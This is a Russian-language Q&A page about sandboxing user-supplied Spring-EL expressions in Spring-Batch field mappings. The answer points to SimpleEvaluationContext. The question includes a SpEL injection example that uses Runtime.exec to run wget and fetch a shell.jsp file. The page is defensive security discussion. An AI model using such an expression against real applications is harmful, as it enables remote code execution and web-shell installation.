Можно ли выполнить выражения Spring-EL в песочнице? - PullRequest
0 голосов
/ 19 ноября 2018

Я использую Spring-EL для создания динамических сопоставлений полей csv и полей классов, используемых в различных заданиях импорта Spring-Batch.(Разные входные файлы, одинаковые выходные классы).Это работает очень хорошо, но идея в том, что у пользователя должна быть возможность создать такую ​​конфигурацию отображения.

Проблема в том, что выражения Spring-EL не выполняются внутри своего рода песочницы, и поэтому очень легко ввести злой код.Например:

name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")

Мой вопрос такой: как я могу запустить Spring-EL внутри какой-то песочницы или ограничить доступ только определенным набором методов / классов?Я не могу найти ничего, что связано с этой темой.Возможно, Spring-EL - не правильный выбор для этой работы.

Пример того, чего я пытаюсь достичь:

name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)

1 Ответ

0 голосов
/ 19 ноября 2018

SimpleEvaluationContext был разработан для уменьшения уязвимостей приложений.

См. https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context для получения дополнительной информации:

SimpleEvaluationContext предназначен для поддержки только подмножества синтаксиса языка SpEL. Он исключает ссылки на типы Java, конструкторы и ссылки на bean-компоненты. Это также требует от вас явного выбора уровня поддержки свойств и методов в выражениях. По умолчанию статический фабричный метод create() разрешает доступ только для чтения к свойствам.

...